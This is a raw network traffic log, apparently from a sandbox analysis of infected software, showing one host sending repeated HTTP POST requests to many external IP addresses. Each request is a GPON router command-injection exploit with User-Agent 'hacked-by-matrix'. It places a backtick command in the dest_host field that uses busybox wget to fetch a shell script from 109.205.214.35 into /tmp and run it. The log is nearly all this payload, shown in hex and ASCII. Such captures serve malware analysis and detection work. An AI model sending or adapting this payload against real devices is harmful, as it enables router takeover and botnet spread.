Mar 21, 2024 05:23:17.717081070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.13	57130	5.111.99.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717089891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.13	45614	109.244.230.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717120886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.13	60368	212.46.23.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717124939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.13	58094	42.54.161.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717139006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.13	48906	109.90.34.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717144012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.13	56830	42.236.68.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717155933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.13	35654	212.131.172.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717175007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.13	50150	42.237.217.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717211962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.13	42264	212.52.158.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717216015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.13	46868	212.124.163.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717226028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.13	38780	5.185.253.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717237949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.13	46172	5.166.63.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717262983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.13	34768	109.125.192.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717276096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.13	51926	118.2.62.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717297077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.13	36906	118.204.253.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717308044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.13	32794	42.179.202.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717324018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.13	46526	42.122.189.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717358112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.13	45876	118.116.98.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717370033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.13	41182	5.222.149.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717379093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.13	58988	118.140.70.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717402935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.13	39142	109.199.5.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717408895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.13	43990	212.105.175.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717436075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.13	46194	109.224.60.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.717467070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.13	53256	34.117.250.185	7547

Timestamp	Bytes transferred	Direction	Data
